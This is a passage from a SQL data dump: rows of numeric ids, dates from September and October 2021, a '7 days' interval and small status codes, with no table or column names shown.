days',0),(58419,13914,10173,10890,1310,959,'2021-09-13','7 days',0),(58420,17213,10173,10890,1310,959,'2021-09-13','7 days',1),(58421,17211,10173,10890,1310,959,'2021-09-13','7 days',1),(58473,11446,9944,8963,222,85,'2021-09-14','7 days',1),(58474,11445,9944,8963,222,85,'2021-09-14','7 days',0),(58475,11444,9944,8963,222,85,'2021-09-14','7 days',1),(58476,11443,9944,8963,222,85,'2021-09-14','7 days',0),(58477,11441,9944,8963,222,85,'2021-09-14','7 days',0),(58516,11440,9944,8963,222,85,'2021-09-15','7 days',0),(58517,11438,9944,8963,222,85,'2021-09-15','7 days',0),(58518,11437,9944,8963,222,85,'2021-09-15','7 days',0),(58519,11268,9944,8963,222,85,'2021-09-15','7 days',0),(58520,11267,9944,8963,222,85,'2021-09-15','7 days',0),(58521,11266,9944,8963,222,85,'2021-09-15','7 days',0),(58522,11265,9944,8963,222,85,'2021-09-15','7 days',0),(58523,18830,10466,11118,1410,975,'2021-09-15','7 days',1),(58524,17408,10466,11118,1410,975,'2021-09-15','7 days',1),(58525,17407,10466,11118,1410,975,'2021-09-15','7 days',1),(58526,18830,10454,11106,1410,975,'2021-09-15','7 days',1),(58527,17409,10454,11106,1410,975,'2021-09-15','7 days',1),(58528,17408,10454,11106,1410,975,'2021-09-15','7 days',1),(58668,20205,9269,10218,1749,996,'2021-09-17','7 days',0),(58669,20201,9269,10218,1749,996,'2021-09-17','7 days',1),(58670,20199,9269,10218,1749,996,'2021-09-17','7 days',0),(58671,20194,9269,10218,1749,996,'2021-09-17','7 days',0),(58672,20191,9269,10218,1749,996,'2021-09-17','7 days',0),(58678,20212,9269,10218,1749,996,'2021-09-17','7 days',0),(58679,20211,9269,10218,1749,996,'2021-09-17','7 days',0),(58680,20210,9269,10218,1749,996,'2021-09-17','7 days',0),(58681,20209,9269,10218,1749,996,'2021-09-17','7 days',0),(58682,20207,9269,10218,1749,996,'2021-09-17','7 days',0),(59115,18830,10602,11229,1410,975,'2021-09-21','7 days',1),(59116,17409,10602,11229,1410,975,'2021-09-21','7 days',1),(59117,17408,10602,11229,1410,975,'2021-09-21','7 days',1),(59118,20205,10483,11130,1750,996,'2021-09-21','7 days',0),(59119,20201,10483,11130,1750,996,'2021-09-21','7 days',0),(59120,20195,10483,11130,1750,996,'2021-09-21','7 days',0),(59121,20194,10483,11130,1750,996,'2021-09-21','7 days',0),(59122,20193,10483,11130,1750,996,'2021-09-21','7 days',0),(59123,20192,10483,11130,1750,996,'2021-09-21','7 days',0),(59164,11589,10628,11247,161,73,'2021-09-21','7 days',0),(59165,18594,10486,11133,194,45,'2021-09-21','7 days',1),(59166,18593,10486,11133,194,45,'2021-09-21','7 days',1),(59167,11520,10486,11133,194,45,'2021-09-21','7 days',1),(59168,11519,10486,11133,194,45,'2021-09-21','7 days',1),(59169,18594,10523,11169,194,45,'2021-09-21','7 days',1),(59170,18592,10523,11169,194,45,'2021-09-21','7 days',1),(59171,11520,10523,11169,194,45,'2021-09-21','7 days',1),(59172,11519,10523,11169,194,45,'2021-09-21','7 days',1),(59223,11446,10474,11041,222,85,'2021-09-21','7 days',1),(59224,11445,10474,11041,222,85,'2021-09-21','7 days',0),(59225,11444,10474,11041,222,85,'2021-09-21','7 days',1),(59226,11441,10474,11041,222,85,'2021-09-21','7 days',0),(59227,11434,10474,11041,222,85,'2021-09-21','7 days',0),(59228,11433,10474,11041,222,85,'2021-09-21','7 days',0),(59229,11432,10474,11041,222,85,'2021-09-21','7 days',2),(59230,11431,10474,11041,222,85,'2021-09-21','7 days',0),(59231,11266,10474,11041,222,85,'2021-09-21','7 days',0),(59232,11265,10474,11041,222,85,'2021-09-21','7 days',0),(59233,20145,9269,10218,1749,996,'2021-09-21','7 days',0),(59234,20213,9269,10218,1749,996,'2021-09-21','7 days',0),(59235,20206,9269,10218,1749,996,'2021-09-21','7 days',0),(59325,18594,10665,10307,194,45,'2021-09-22','7 days',1),(59326,18593,10665,10307,194,45,'2021-09-22','7 days',1),(59327,18592,10665,10307,194,45,'2021-09-22','7 days',1),(59328,11520,10665,10307,194,45,'2021-09-22','7 days',1),(59329,11519,10665,10307,194,45,'2021-09-22','7 days',1),(59334,18830,10649,11260,1410,975,'2021-09-22','7 days',1),(59335,17409,10649,11260,1410,975,'2021-09-22','7 days',1),(59336,17408,10649,11260,1410,975,'2021-09-22','7 days',1),(59342,18838,10648,11259,1410,975,'2021-09-22','7 days',1),(59343,18427,10648,11259,1410,975,'2021-09-22','7 days',1),(59344,18426,10648,11259,1410,975,'2021-09-22','7 days',0),(59420,11446,10588,11219,221,85,'2021-09-23','7 days',1),(59421,11445,10588,11219,221,85,'2021-09-23','7 days',0),(59422,11444,10588,11219,221,85,'2021-09-23','7 days',1),(59423,11442,10588,11219,221,85,'2021-09-23','7 days',0),(59424,11438,10588,11219,221,85,'2021-09-23','7 days',0),(59426,11437,10588,11219,221,85,'2021-09-23','7 days',0),(59428,11436,10588,11219,221,85,'2021-09-23','7 days',0),(59430,11434,10588,11219,221,85,'2021-09-23','7 days',0),(59432,11268,10588,11219,221,85,'2021-09-23','7 days',0),(59433,11267,10588,11219,221,85,'2021-09-23','7 days',0),(59434,11266,10588,11219,221,85,'2021-09-23','7 days',0),(59435,11265,10588,11219,221,85,'2021-09-23','7 days',0),(59450,11264,10588,11219,221,85,'2021-09-23','7 days',0),(59493,11446,10526,11172,221,85,'2021-09-23','7 days',1),(59494,11445,10526,11172,221,85,'2021-09-23','7 days',0),(59495,11444,10526,11172,221,85,'2021-09-23','7 days',1),(59496,11443,10526,11172,221,85,'2021-09-23','7 days',0),(59497,11442,10526,11172,221,85,'2021-09-23','7 days',0),(59498,11441,10526,11172,221,85,'2021-09-23','7 days',0),(59499,11436,10526,11172,221,85,'2021-09-23','7 days',0),(59500,11435,10526,11172,221,85,'2021-09-23','7 days',0),(59501,11433,10526,11172,221,85,'2021-09-23','7 days',0),(59502,11267,10526,11172,221,85,'2021-09-23','7 days',0),(59503,11266,10526,11172,221,85,'2021-09-23','7 days',0),(59504,11263,10526,11172,221,85,'2021-09-23','7 days',0),(59505,11261,10526,11172,221,85,'2021-09-23','7 days',0),(59506,11260,10526,11172,221,85,'2021-09-23','7 days',0),(59613,17212,10714,11309,1310,959,'2021-09-24','7 days',1),(59614,17204,10714,11309,1310,959,'2021-09-24','7 days',1),(59615,15747,10714,11309,1310,959,'2021-09-24','7 days',0),(59616,17207,10714,11309,1310,959,'2021-09-24','7 days',0),(59617,17205,10714,11309,1310,959,'2021-09-24','7 days',1),(59683,16277,10697,11297,1710,971,'2021-09-25','7 days',0),(59684,16276,10697,11297,1710,971,'2021-09-25','7 days',0),(59685,16139,10697,11297,1710,971,'2021-09-25','7 days',1),(59686,12739,10697,11297,1710,971,'2021-09-25','7 days',1),(59687,11698,10697,11297,1710,971,'2021-09-25','7 days',0),(59688,11456,10697,11297,1710,971,'2021-09-25','7 days',0),(59689,11126,10697,11297,1710,971,'2021-09-25','7 days',1),(59690,10978,10697,11297,1710,971,'2021-09-25','7 days',1),(59691,10967,10697,11297,1710,971,'2021-09-25','7 days',1),(59692,10966,10697,11297,1710,971,'2021-09-25','7 days',1),(59693,10965,10697,11297,1710,971,'2021-09-25','7 days',0),(59694,10964,10697,11297,1710,971,'2021-09-25','7 days',0),(59695,10963,10697,11297,1710,971,'2021-09-25','7 days',1),(59696,20279,10635,11250,162,73,'2021-09-25','7 days',1),(59697,20278,10635,11250,162,73,'2021-09-25','7 days',1),(59698,20277,10635,11250,162,73,'2021-09-25','7 days',0),(59699,20276,10635,11250,162,73,'2021-09-25','7 days',0),(59700,20275,10635,11250,162,73,'2021-09-25','7 days',0),(59701,20274,10635,11250,162,73,'2021-09-25','7 days',2),(59702,20273,10635,11250,162,73,'2021-09-25','7 days',0),(59703,20272,10635,11250,162,73,'2021-09-25','7 days',0),(59704,20271,10635,11250,162,73,'2021-09-25','7 days',0),(59720,20289,10628,11247,161,73,'2021-09-25','7 days',0),(59721,20288,10628,11247,161,73,'2021-09-25','7 days',1),(59722,20287,10628,11247,161,73,'2021-09-25','7 days',0),(59723,20286,10628,11247,161,73,'2021-09-25','7 days',0),(59724,20285,10628,11247,161,73,'2021-09-25','7 days',2),(59725,20284,10628,11247,161,73,'2021-09-25','7 days',0),(59726,20283,10628,11247,161,73,'2021-09-25','7 days',0),(59727,20282,10628,11247,161,73,'2021-09-25','7 days',0),(59728,20281,10628,11247,161,73,'2021-09-25','7 days',0),(59729,20280,10628,11247,161,73,'2021-09-25','7 days',0),(59730,20300,10470,11121,162,73,'2021-09-25','7 days',0),(59731,20299,10470,11121,162,73,'2021-09-25','7 days',0),(59732,20298,10470,11121,162,73,'2021-09-25','7 days',0),(59733,20297,10470,11121,162,73,'2021-09-25','7 days',1),(59734,20296,10470,11121,162,73,'2021-09-25','7 days',0),(59735,20295,10470,11121,162,73,'2021-09-25','7 days',0),(59736,20294,10470,11121,162,73,'2021-09-25','7 days',2),(59737,20293,10470,11121,162,73,'2021-09-25','7 days',0),(59738,20292,10470,11121,162,73,'2021-09-25','7 days',0),(59739,20291,10470,11121,162,73,'2021-09-25','7 days',0),(59740,20290,10470,11121,162,73,'2021-09-25','7 days',0),(59741,20310,10176,10893,160,73,'2021-09-25','7 days',0),(59742,20309,10176,10893,160,73,'2021-09-25','7 days',0),(59743,20308,10176,10893,160,73,'2021-09-25','7 days',0),(59744,20307,10176,10893,160,73,'2021-09-25','7 days',2),(59745,20306,10176,10893,160,73,'2021-09-25','7 days',2),(59746,20305,10176,10893,160,73,'2021-09-25','7 days',0),(59747,20304,10176,10893,160,73,'2021-09-25','7 days',0),(59748,20303,10176,10893,160,73,'2021-09-25','7 days',0),(59749,20302,10176,10893,160,73,'2021-09-25','7 days',0),(59750,20301,10176,10893,160,73,'2021-09-25','7 days',0),(59751,20320,10060,10406,160,73,'2021-09-25','7 days',0),(59752,20319,10060,10406,160,73,'2021-09-25','7 days',0),(59753,20318,10060,10406,160,73,'2021-09-25','7 days',0),(59754,20317,10060,10406,160,73,'2021-09-25','7 days',2),(59755,20316,10060,10406,160,73,'2021-09-25','7 days',0),(59756,20315,10060,10406,160,73,'2021-09-25','7 days',0),(59757,20314,10060,10406,160,73,'2021-09-25','7 days',0),(59758,20313,10060,10406,160,73,'2021-09-25','7 days',2),(59759,20312,10060,10406,160,73,'2021-09-25','7 days',0),(59760,20311,10060,10406,160,73,'2021-09-25','7 days',0),(59827,18830,10763,11341,1410,975,'2021-09-27','7 days',1),(59828,17409,10763,11341,1410,975,'2021-09-27','7 days',1),(59829,17408,10763,11341,1410,975,'2021-09-27','7 days',1),(59830,18830,10737,11327,1410,975,'2021-09-27','7 days',1),(59831,17409,10737,11327,1410,975,'2021-09-27','7 days',1),(59832,17408,10737,11327,1410,975,'2021-09-27','7 days',1),(59833,16277,10524,11170,1710,971,'2021-09-27','7 days',0),(59834,16276,10524,11170,1710,971,'2021-09-27','7 days',0),(59835,16139,10524,11170,1710,971,'2021-09-27','7 days',1),(59836,12739,10524,11170,1710,971,'2021-09-27','7 days',1),(59837,11698,10524,11170,1710,971,'2021-09-27','7 days',0),(59838,11456,10524,11170,1710,971,'2021-09-27','7 days',0),(59839,11126,10524,11170,1710,971,'2021-09-27','7 days',1),(59840,10965,10524,11170,1710,971,'2021-09-27','7 days',0),(59841,10964,10524,11170,1710,971,'2021-09-27','7 days',0),(59842,10963,10524,11170,1710,971,'2021-09-27','7 days',2),(59852,14051,10738,11328,1069,326,'2021-09-27','7 days',0),(59853,12897,10738,11328,1069,326,'2021-09-27','7 days',0),(59854,12875,10738,11328,1069,326,'2021-09-27','7 days',1),(59855,9805,10738,11328,1069,326,'2021-09-27','7 days',0),(59856,9803,10738,11328,1069,326,'2021-09-27','7 days',0),(59857,9802,10738,11328,1069,326,'2021-09-27','7 days',0),(59858,9801,10738,11328,1069,326,'2021-09-27','7 days',0),(59859,9800,10738,11328,1069,326,'2021-09-27','7 days',0),(59860,9798,10738,11328,1069,326,'2021-09-27','7 days',0),(59885,18594,10783,11359,194,45,'2021-09-28','7 days',1),(59886,18593,10783,11359,194,45,'2021-09-28','7 days',1),(59887,18592,10783,11359,194,45,'2021-09-28','7 days',1),(59888,11845,10783,11359,194,45,'2021-09-28','7 days',1),(59914,20211,10483,11130,1750,996,'2021-09-29','7 days',0),(59915,20210,10483,11130,1750,996,'2021-09-29','7 days',1),(59917,20209,10483,11130,1750,996,'2021-09-29','7 days',0),(59918,20207,10483,11130,1750,996,'2021-09-29','7 days',0),(59919,20206,10483,11130,1750,996,'2021-09-29','7 days',0),(59978,11446,10768,11345,221,85,'2021-09-29','7 days',1),(59979,11445,10768,11345,221,85,'2021-09-29','7 days',0),(59980,11444,10768,11345,221,85,'2021-09-29','7 days',1),(59981,11442,10768,11345,221,85,'2021-09-29','7 days',2),(59982,11441,10768,11345,221,85,'2021-09-29','7 days',0),(59983,11440,10768,11345,221,85,'2021-09-29','7 days',2),(59984,11438,10768,11345,221,85,'2021-09-29','7 days',0),(59985,11437,10768,11345,221,85,'2021-09-29','7 days',0),(59986,11432,10768,11345,221,85,'2021-09-29','7 days',0),(59987,11431,10768,11345,221,85,'2021-09-29','7 days',0),(59988,11268,10768,11345,221,85,'2021-09-29','7 days',0),(59989,11267,10768,11345,221,85,'2021-09-29','7 days',0),(59990,11265,10768,11345,221,85,'2021-09-29','7 days',0),(59991,11262,10768,11345,221,85,'2021-09-29','7 days',2),(59992,11261,10768,11345,221,85,'2021-09-29','7 days',0),(59993,11260,10768,11345,221,85,'2021-09-29','7 days',0),(59994,18934,10799,11367,1394,86,'2021-09-29','7 days',0),(59996,18930,10799,11367,1394,86,'2021-09-29','7 days',0),(59997,18929,10799,11367,1394,86,'2021-09-29','7 days',1),(59998,18928,10799,11367,1394,86,'2021-09-29','7 days',2),(59999,18695,10799,11367,1394,86,'2021-09-29','7 days',0),(60000,14618,10799,11367,1394,86,'2021-09-29','7 days',0),(60001,14444,10799,11367,1394,86,'2021-09-29','7 days',0),(60002,14443,10799,11367,1394,86,'2021-09-29','7 days',0),(60003,14442,10799,11367,1394,86,'2021-09-29','7 days',0),(60004,13672,10799,11367,1394,86,'2021-09-29','7 days',0),(60005,11581,10799,11367,1394,86,'2021-09-29','7 days',2),(60006,11580,10799,11367,1394,86,'2021-09-29','7 days',0),(60007,17682,9639,10494,1667,277,'2021-09-29','7 days',1),(60008,17681,9639,10494,1667,277,'2021-09-29','7 days',0),(60009,15861,9639,10494,1667,277,'2021-09-29','7 days',0),(60010,15860,9639,10494,1667,277,'2021-09-29','7 days',0),(60011,15859,9639,10494,1667,277,'2021-09-29','7 days',0),(60012,15858,9639,10494,1667,277,'2021-09-29','7 days',0),(60013,12026,9639,10494,1667,277,'2021-09-29','7 days',0),(60014,12025,9639,10494,1667,277,'2021-09-29','7 days',0),(60015,12024,9639,10494,1667,277,'2021-09-29','7 days',0),(60016,12023,9639,10494,1667,277,'2021-09-29','7 days',0),(60017,12021,9639,10494,1667,277,'2021-09-29','7 days',0),(60018,12020,9639,10494,1667,277,'2021-09-29','7 days',0),(60019,12019,9639,10494,1667,277,'2021-09-29','7 days',0),(60020,12017,9639,10494,1667,277,'2021-09-29','7 days',0),(60021,11844,9639,10494,1667,277,'2021-09-29','7 days',0),(60022,9904,9640,10495,1663,277,'2021-09-29','7 days',0),(60023,9903,9640,10495,1663,277,'2021-09-29','7 days',0),(60024,9902,9640,10495,1663,277,'2021-09-29','7 days',0),(60025,9901,9640,10495,1663,277,'2021-09-29','7 days',0),(60026,9900,9640,10495,1663,277,'2021-09-29','7 days',0),(60027,9899,9640,10495,1663,277,'2021-09-29','7 days',0),(60028,9898,9640,10495,1663,277,'2021-09-29','7 days',0),(60029,9897,9640,10495,1663,277,'2021-09-29','7 days',1),(60030,8590,9640,10495,1663,277,'2021-09-29','7 days',1),(60031,17682,10059,10807,1668,277,'2021-09-29','7 days',1),(60032,17681,10059,10807,1668,277,'2021-09-29','7 days',0),(60033,15857,10059,10807,1668,277,'2021-09-29','7 days',0),(60034,15856,10059,10807,1668,277,'2021-09-29','7 days',0),(60035,15855,10059,10807,1668,277,'2021-09-29','7 days',0),(60036,15854,10059,10807,1668,277,'2021-09-29','7 days',0),(60037,15746,10059,10807,1668,277,'2021-09-29','7 days',1),(60038,13354,10059,10807,1668,277,'2021-09-29','7 days',0),(60039,12971,10059,10807,1668,277,'2021-09-29','7 days',0),(60040,12027,10059,10807,1668,277,'2021-09-29','7 days',0),(60119,17502,10838,11403,1251,86,'2021-09-30','7 days',0),(60120,17501,10838,11403,1251,86,'2021-09-30','7 days',0),(60121,17500,10838,11403,1251,86,'2021-09-30','7 days',0),(60122,17078,10838,11403,1251,86,'2021-09-30','7 days',0),(60123,17077,10838,11403,1251,86,'2021-09-30','7 days',0),(60124,17076,10838,11403,1251,86,'2021-09-30','7 days',0),(60125,16783,10838,11403,1251,86,'2021-09-30','7 days',0),(60126,16782,10838,11403,1251,86,'2021-09-30','7 days',0),(60127,16739,10838,11403,1251,86,'2021-09-30','7 days',0),(60128,16024,10838,11403,1251,86,'2021-09-30','7 days',0),(60129,15975,10838,11403,1251,86,'2021-09-30','7 days',2),(60130,15589,10838,11403,1251,86,'2021-09-30','7 days',2),(60131,15588,10838,11403,1251,86,'2021-09-30','7 days',1),(60132,15587,10838,11403,1251,86,'2021-09-30','7 days',0),(60133,15586,10838,11403,1251,86,'2021-09-30','7 days',0),(60134,15585,10838,11403,1251,86,'2021-09-30','7 days',0),(60135,15584,10838,11403,1251,86,'2021-09-30','7 days',0),(60136,15567,10838,11403,1251,86,'2021-09-30','7 days',0),(60137,15493,10838,11403,1251,86,'2021-09-30','7 days',0),(60138,15367,10838,11403,1251,86,'2021-09-30','7 days',1),(60139,15366,10838,11403,1251,86,'2021-09-30','7 days',1),(60140,15365,10838,11403,1251,86,'2021-09-30','7 days',1),(60141,13097,10838,11403,1251,86,'2021-09-30','7 days',0),(60142,13096,10838,11403,1251,86,'2021-09-30','7 days',0),(60143,13095,10838,11403,1251,86,'2021-09-30','7 days',2),(60144,13091,10838,11403,1251,86,'2021-09-30','7 days',0),(60145,13090,10838,11403,1251,86,'2021-09-30','7 days',1),(60146,13089,10838,11403,1251,86,'2021-09-30','7 days',2),(60147,9000,10838,11403,1251,86,'2021-09-30','7 days',1),(60148,8999,10838,11403,1251,86,'2021-09-30','7 days',2),(60286,18594,10816,11386,194,45,'2021-10-01','7 days',1),(60287,18593,10816,11386,194,45,'2021-10-01','7 days',1),(60288,18592,10816,11386,194,45,'2021-10-01','7 days',1),(60289,11845,10816,11386,194,45,'2021-10-01','7 days',1),(60290,11520,10816,11386,194,45,'2021-10-01','7 days',1),(60291,11519,10816,11386,194,45,'2021-10-01','7 days',1),(60292,18594,10815,11385,194,45,'2021-10-01','7 days',1),(60293,18593,10815,11385,194,45,'2021-10-01','7 days',1),(60294,18592,10815,11385,194,45,'2021-10-01','7 days',1),(60295,11845,10815,11385,194,45,'2021-10-01','7 days',1),(60296,11520,10815,11385,194,45,'2021-10-01','7 days',1),(60297,11519,10815,11385,194,45,'2021-10-01','7 days',1),(60318,11446,10809,11379,221,85,'2021-10-01','7 days',1),(60319,11445,10809,11379,221,85,'2021-10-01','7 days',0),(60320,11444,10809,11379,221,85,'2021-10-01','7 days',1),(60321,11443,10809,11379,221,85,'2021-10-01','7 days',1),(60322,11442,10809,11379,221,85,'2021-10-01','7 days',2),(60323,11441,10809,11379,221,85,'2021-10-01','7 days',0),(60324,11436,10809,11379,221,85,'2021-10-01','7 days',0),(60325,11435,10809,11379,221,85,'2021-10-01','7 days',0),(60326,11434,10809,11379,221,85,'2021-10-01','7 days',2),(60327,11433,10809,11379,221,85,'2021-10-01','7 days',0),(60328,11267,10809,11379,221,85,'2021-10-01','7 days',0),(60329,11266,10809,11379,221,85,'2021-10-01','7 days',0),(60330,11265,10809,11379,221,85,'2021-10-01','7 days',0),(60331,11263,10809,11379,221,85,'2021-10-01','7 days',2),(60332,11262,10809,11379,221,85,'2021-10-01','7 days',1),(60333,11261,10809,11379,221,85,'2021-10-01','7 days',0),(60335,11260,10809,11379,221,85,'2021-10-01','7 days',0),(60380,11446,10840,11405,221,85,'2021-10-04','7 days',1),(60381,11445,10840,11405,221,85,'2021-10-04','7 days',0),(60382,11444,10840,11405,221,85,'2021-10-04','7 days',1),(60383,11443,10840,11405,221,85,'2021-10-04','7 days',2),(60384,11438,10840,11405,221,85,'2021-10-04','7 days',2),(60385,11437,10840,11405,221,85,'2021-10-04','7 days',0),(60386,11436,10840,11405,221,85,'2021-10-04','7 days',0),(60387,11431,10840,11405,221,85,'2021-10-04','7 days',0),(60388,11269,10840,11405,221,85,'2021-10-04','7 days',1),(60389,11268,10840,11405,221,85,'2021-10-04','7 days',0),(60390,11267,10840,11405,221,85,'2021-10-04','7 days',0),(60391,11263,10840,11405,221,85,'2021-10-04','7 days',0),(60405,14051,10865,11427,1069,326,'2021-10-04','7 days',0),(60406,12897,10865,11427,1069,326,'2021-10-04','7 days',0),(60407,12875,10865,11427,1069,326,'2021-10-04','7 days',1),(60408,9805,10865,11427,1069,326,'2021-10-04','7 days',0),(60409,9803,10865,11427,1069,326,'2021-10-04','7 days',0),(60410,9802,10865,11427,1069,326,'2021-10-04','7 days',0),(60411,9801,10865,11427,1069,326,'2021-10-04','7 days',0),(60412,9800,10865,11427,1069,326,'2021-10-04','7 days',0),(60413,9798,10865,11427,1069,326,'2021-10-04','7 days',0),(60423,11520,10351,11022,194,45,'2021-10-04','7 days',1),(60512,20378,9269,10218,1749,996,'2021-10-05','7 days',1),(60513,20378,10483,11130,1750,996,'2021-10-05','7 days',1),(60545,18830,10859,11423,1410,975,'2021-10-05','7 days',1),(60546,17409,10859,11423,1410,975,'2021-10-05','7 days',1),(60553,11520,10350,11022,194,45,'2021-10-05','7 days',1),(60568,18830,10882,11442,1410,975,'2021-10-05','7 days',1),(60569,17409,10882,11442,1410,975,'2021-10-05','7 days',1),(60570,17408,10882,11442,1410,975,'2021-10-05','7 days',1),(60571,17407,10882,11442,1410,975,'2021-10-05','7 days',1),(60614,9907,10452,11104,1668,277,'2021-10-05','7 days',0),(60615,9906,10452,11104,1668,277,'2021-10-05','7 days',0),(60616,9905,10452,11104,1668,277,'2021-10-05','7 days',2),(60617,9904,10452,11104,1668,277,'2021-10-05','7 days',0),(60618,9903,10452,11104,1668,277,'2021-10-05','7 days',0),(60619,9902,10452,11104,1668,277,'2021-10-05','7 days',0),(60620,9901,10452,11104,1668,277,'2021-10-05','7 days',0),(60621,9900,10452,11104,1668,277,'2021-10-05','7 days',0),(60622,9899,10452,11104,1668,277,'2021-10-05','7 days',0),(60623,9898,10452,11104,1668,277,'2021-10-05','7 days',0),(60624,9897,10452,11104,1668,277,'2021-10-05','7 days',1),(60625,8590,10452,11104,1668,277,'2021-10-05','7 days',1),(60644,18594,10873,11434,194,45,'2021-10-06','7 days',1),(60645,18593,10873,11434,194,45,'2021-10-06','7 days',1),(60646,11520,10873,11434,194,45,'2021-10-06','7 days',1),(60647,11519,10873,11434,194,45,'2021-10-06','7 days',1),(60648,2238,10873,11434,194,45,'2021-10-06','7 days',0),(60692,18562,10799,11367,1394,86,'2021-10-07','7 days',0),(60693,18561,10799,11367,1394,86,'2021-10-07','7 days',0),(60694,18560,10799,11367,1394,86,'2021-10-07','7 days',0),(60695,17502,10799,11367,1394,86,'2021-10-07','7 days',2),(60696,10685,10799,11367,1394,86,'2021-10-07','7 days',0),(60697,10684,10799,11367,1394,86,'2021-10-07','7 days',0),(60698,9718,10799,11367,1394,86,'2021-10-07','7 days',0),(60718,9900,10059,10807,1668,277,'2021-10-07','7 days',0),(60719,9899,10059,10807,1668,277,'2021-10-07','7 days',0),(60720,9898,10059,10807,1668,277,'2021-10-07','7 days',0),(60721,9897,10059,10807,1668,277,'2021-10-07','7 days',1),(60722,8590,10059,10807,1668,277,'2021-10-07','7 days',1),(60723,12023,10116,3488,1666,277,'2021-10-07','7 days',0),(60724,12022,10116,3488,1666,277,'2021-10-07','7 days',2),(60725,12021,10116,3488,1666,277,'2021-10-07','7 days',0),(60726,12020,10116,3488,1666,277,'2021-10-07','7 days',0),(60727,12019,10116,3488,1666,277,'2021-10-07','7 days',0),(60752,20145,10483,11130,1750,996,'2021-10-07','7 days',0),(60753,20213,10483,11130,1750,996,'2021-10-07','7 days',0),(60754,20212,10483,11130,1750,996,'2021-10-07','7 days',0),(60775,12026,10059,10807,1668,277,'2021-10-08','7 days',0),(60776,12025,10059,10807,1668,277,'2021-10-08','7 days',0),(60777,12024,10059,10807,1668,277,'2021-10-08','7 days',0),(60778,12023,10059,10807,1668,277,'2021-10-08','7 days',0),(60779,12022,10059,10807,1668,277,'2021-10-08','7 days',0),(60780,12021,10059,10807,1668,277,'2021-10-08','7 days',0),(60781,12020,10059,10807,1668,277,'2021-10-08','7 days',0),(60782,12019,10059,10807,1668,277,'2021-10-08','7 days',0),(60783,12018,10059,10807,1668,277,'2021-10-08','7 days',0),(60784,12017,10059,10807,1668,277,'2021-10-08','7 days',0),(60785,17682,10116,3488,1666,277,'2021-10-08','7 days',1),(60786,17681,10116,3488,1666,277,'2021-10-08','7 days',2),(60787,15861,10116,3488,1666,277,'2021-10-08','7 days',0),(60788,15860,10116,3488,1666,277,'2021-10-08','7 days',0),(60789,15859,10116,3488,1666,277,'2021-10-08','7 days',0),(60790,15858,10116,3488,1666,277,'2021-10-08','7 days',2),(60791,15857,10116,3488,1666,277,'2021-10-08','7 days',0),(60792,15856,10116,3488,1666,277,'2021-10-08','7 days',0),(60793,15855,10116,3488,1666,277,'2021-10-08','7 days',0),(60794,15854,10116,3488,1666,277,'2021-10-08','7 days',0),(60795,15746,10116,3488,1666,277,'2021-10-08','7 days',1),(60796,12025,10116,3488,1666,277,'2021-10-08','7 days',0),(60797,12024,10116,3488,1666,277,'2021-10-08','7 days',0),(60798,9907,10147,10873,1669,277,'2021-10-08','7 days',2),(60799,9906,10147,10873,1669,277,'2021-10-08','7 days',0),(60800,9905,10147,10873,1669,277,'2021-10-08','7 days',2),(60801,9904,10147,10873,1669,277,'2021-10-08','7 days',0),(60802,9903,10147,10873,1669,277,'2021-10-08','7 days',0),(60803,9902,10147,10873,1669,277,'2021-10-08','7 days',0),(60804,9901,10147,10873,1669,277,'2021-10-08','7 days',0),(60805,9900,10147,10873,1669,277,'2021-10-08','7 days',0),(60806,9899,10147,10873,1669,277,'2021-10-08','7 days',0),(60807,17682,10275,10896,1668,277,'2021-10-08','7 days',1),(60808,17681,10275,10896,1668,277,'2021-10-08','7 days',1),(60809,15861,10275,10896,1668,277,'2021-10-08','7 days',0),(60810,15860,10275,10896,1668,277,'2021-10-08','7 days',0),(60811,15859,10275,10896,1668,277,'2021-10-08','7 days',0),(60812,15858,10275,10896,1668,277,'2021-10-08','7 days',0),(60813,15857,10275,10896,1668,277,'2021-10-08','7 days',0),(60900,18594,10979,11515,194,45,'2021-10-08','7 days',1),(60901,18593,10979,11515,194,45,'2021-10-08','7 days',1),(60902,18592,10979,11515,194,45,'2021-10-08','7 days',1),(60903,11520,10979,11515,194,45,'2021-10-08','7 days',1),(60904,11519,10979,11515,194,45,'2021-10-08','7 days',1),(60911,11446,10980,11516,221,85,'2021-10-11','7 days',1),(60912,11445,10980,11516,221,85,'2021-10-11','7 days',0),(60913,11444,10980,11516,221,85,'2021-10-11','7 days',1),(60914,11441,10980,11516,221,85,'2021-10-11','7 days',0),(60915,11440,10980,11516,221,85,'2021-10-11','7 days',0),(60916,11435,10980,11516,221,85,'2021-10-11','7 days',0),(60917,11434,10980,11516,221,85,'2021-10-11','7 days',0),(60918,11432,10980,11516,221,85,'2021-10-11','7 days',0),(60919,11266,10980,11516,221,85,'2021-10-11','7 days',0),(60920,11263,10980,11516,221,85,'2021-10-11','7 days',2),(60921,11261,10980,11516,221,85,'2021-10-11','7 days',0),(60922,11260,10980,11516,221,85,'2021-10-11','7 days',2),(60923,11262,10980,11516,221,85,'2021-10-11','7 days',1),(60964,15588,10799,11367,1394,86,'2021-10-11','7 days',1),(61000,18594,3562,4659,194,45,'2021-10-11','7 days',1),(61001,18593,3562,4659,194,45,'2021-10-11','7 days',1),(61002,18592,3562,4659,194,45,'2021-10-11','7 days',1),(61057,20199,10483,11130,1750,996,'2021-10-11','7 days',0),(61058,20191,10483,11130,1750,996,'2021-10-11','7 days',0),(61122,11446,11008,11533,221,85,'2021-10-12','7 days',1),(61123,11445,11008,11533,221,85,'2021-10-12','7 days',0),(61124,11444,11008,11533,221,85,'2021-10-12','7 days',1),(61125,11443,11008,11533,221,85,'2021-10-12','7 days',1),(61126,11442,11008,11533,221,85,'2021-10-12','7 days',2),(61127,11440,11008,11533,221,85,'2021-10-12','7 days',0),(61128,11434,11008,11533,221,85,'2021-10-12','7 days',0),(61129,11433,11008,11533,221,85,'2021-10-12','7 days',0),(61130,11268,11008,11533,221,85,'2021-10-12','7 days',0),(61131,11267,11008,11533,221,85,'2021-10-12','7 days',0),(61132,11266,11008,11533,221,85,'2021-10-12','7 days',0),(61133,11262,11008,11533,221,85,'2021-10-12','7 days',2),(61134,11261,11008,11533,221,85,'2021-10-12','7 days',0),(61135,11260,11008,11533,221,85,'2021-10-12','7 days',0),(61140,17682,10452,11104,1668,277,'2021-10-12','7 days',1),(61141,17681,10452,11104,1668,277,'2021-10-12','7 days',0),(61142,15861,10452,11104,1668,277,'2021-10-12','7 days',0),(61143,15860,10452,11104,1668,277,'2021-10-12','7 days',0),(61144,15859,10452,11104,1668,277,'2021-10-12','7 days',0),(61145,15858,10452,11104,1668,277,'2021-10-12','7 days',2),(61146,15857,10452,11104,1668,277,'2021-10-12','7 